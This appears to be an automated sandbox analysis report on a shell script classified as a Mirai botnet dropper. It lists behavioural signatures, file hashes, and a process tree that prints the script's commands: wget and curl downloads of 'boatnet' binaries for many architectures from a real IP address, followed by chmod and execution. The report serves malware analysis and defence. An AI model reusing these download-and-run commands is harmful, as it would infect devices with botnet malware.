Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/10/2024, 05:01

General

  • Target

    ohshit1.sh

  • Size

    2KB

  • MD5

    9b64a962e04edf2c31dbc8625a078994

  • SHA1

    d54534accc9e06084213de028f7979271acc872b

  • SHA256

    b64cf24fb2954b871fea20c34b0c14130bc3f919a674deb58682f9ce5760cbbf

  • SHA512

    721032040ff5e96aa2e619b04d59ebb47f16a0ffed169ce5f119ab1e70802cc1b6128aba4c47688600302c4e96054a04307f77850f02d7ac476f5f95a21d770d

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit1.sh
    /tmp/ohshit1.sh
    1⤵
    • Writes file to tmp directory
    PID:646
    • /usr/bin/wget
      wget http://37.221.93.146/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:648
    • /usr/bin/curl
      curl -O http://37.221.93.146/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:660
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:670
      • /bin/chmod
        chmod +x boatnet.x86 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
        2⤵
        • File and Directory Permissions Modification
        PID:672
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:673
      • /usr/bin/wget
        wget http://37.221.93.146/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:676
      • /usr/bin/curl
        curl -O http://37.221.93.146/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:682
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:684
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:686
      • /usr/bin/wget
        wget http://37.221.93.146/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:688
      • /usr/bin/curl
        curl -O http://37.221.93.146/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:689
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:690
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
          2⤵
          • File and Directory Permissions Modification
          PID:691
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:692
        • /usr/bin/wget
          wget http://37.221.93.146/hiddenbin/boatnet.i468
          2⤵
            PID:694
          • /usr/bin/curl
            curl -O http://37.221.93.146/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:698
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:702
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
              2⤵
              • File and Directory Permissions Modification
              PID:703
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:705
            • /usr/bin/wget
              wget http://37.221.93.146/hiddenbin/boatnet.i686
              2⤵
                PID:706
              • /usr/bin/curl
                curl -O http://37.221.93.146/hiddenbin/boatnet.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:710
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:715
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:717
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:718
                • /usr/bin/wget
                  wget http://37.221.93.146/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:720
                  • /usr/bin/curl
                    curl -O http://37.221.93.146/hiddenbin/boatnet.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:723
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:727
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:728
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:730
                    • /usr/bin/wget
                      wget http://37.221.93.146/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:731
                    • /usr/bin/curl
                      curl -O http://37.221.93.146/hiddenbin/boatnet.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:734
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:740
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:741
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:744
                      • /usr/bin/wget
                        wget http://37.221.93.146/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:746
                      • /usr/bin/curl
                        curl -O http://37.221.93.146/hiddenbin/boatnet.arm
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:752
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:757
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:759
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:760
                        • /usr/bin/wget
                          wget http://37.221.93.146/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:765
                        • /usr/bin/curl
                          curl -O http://37.221.93.146/hiddenbin/boatnet.arm5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:768
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:770
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:771
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:772
                          • /usr/bin/wget
                            wget http://37.221.93.146/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:773
                          • /usr/bin/curl
                            curl -O http://37.221.93.146/hiddenbin/boatnet.arm6
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:774
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:775
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:776
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              • Reads runtime system information
                              PID:777
                            • /usr/bin/wget
                              wget http://37.221.93.146/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:778
                            • /usr/bin/curl
                              curl -O http://37.221.93.146/hiddenbin/boatnet.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:781
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:786
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:787
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:789
                              • /usr/bin/wget
                                wget http://37.221.93.146/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:793
                              • /usr/bin/curl
                                curl -O http://37.221.93.146/hiddenbin/boatnet.ppc
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:797
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:802
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:803
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:805
                                • /usr/bin/wget
                                  wget http://37.221.93.146/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:807
                                • /usr/bin/curl
                                  curl -O http://37.221.93.146/hiddenbin/boatnet.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:811
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:818
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:819
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:820
                                  • /usr/bin/wget
                                    wget http://37.221.93.146/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:823
                                  • /usr/bin/curl
                                    curl -O http://37.221.93.146/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:827
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:830
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:831
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:832
                                    • /usr/bin/wget
                                      wget http://37.221.93.146/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:834
                                    • /usr/bin/curl
                                      curl -O http://37.221.93.146/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:835
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:836
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit1.sh systemd-private-74a5451f31714471b506c942ed52f82e-systemd-timedated.service-Vg07TD WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:837
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:838

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      ec3dd231c9bf702833cf53ed58588201

                                      SHA1

                                      dd8ad08bd6f4f93e2a9a3eb328aa32a55ad601d8

                                      SHA256

                                      f6229879adba2eb024aaab36cb45ed46e86097c7415e5dc10b026d6378641154

                                      SHA512

                                      1e726948f7f9a5e638caf1b524fd4989f9481dcc083a5f13da22297003fc43b2f4aa607be976ce00f637851dabae6b06c1a0e268b9f1b1fa22ae1bb732f12870

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      9dad528350aeb656b1731c60695bad95

                                      SHA1

                                      3cdac61c3efe676d530202f8968e7db089fe1cc3

                                      SHA256

                                      197ccdaf4dc8fdbd93505adb3e734a147a67445ace79ec2db14d476e84272c1d

                                      SHA512

                                      44a2484a3efd10f00fe231b3fed6f146ccd11709dae499f8b8bb001fa2925a2da361fef103052d850ca28138bac9ed71457a1957c93a314e0ff48d2a1e06527e

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      38d2388c2769a82acc2375cb784e468a

                                      SHA1

                                      cbeddd023f31c21d2d33c1f62323f86c20a58c06

                                      SHA256

                                      93842868267360beb37103ef47abe11cc52741c60be29cf1b0797c7576b930c3

                                      SHA512

                                      b8f600d26f4e73360eac00c4a246d48b006c6a3baae11735adb6a97e217a3893d015b384b5e93a43ff6791cabcf0357c24fca67803f8601c683c2c126dea08ab

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      f31a1b3a5a1f0f4a8fb3d447b3e33c6f

                                      SHA1

                                      9b4769768e76d537a01fe31d28fd84f7827834d1

                                      SHA256

                                      fe12cf8fd97e7089eabf4d8a09f44f50ed4e5598d886bea686a54172968d0176

                                      SHA512

                                      d77d83568a1e9745c3e6e629954fa3074e773c0b8539196adb1a47415d37e8473b5281bd7f69780b44ca56817df40f41f4c4af7fa1b841f862428fc9f2e22a8c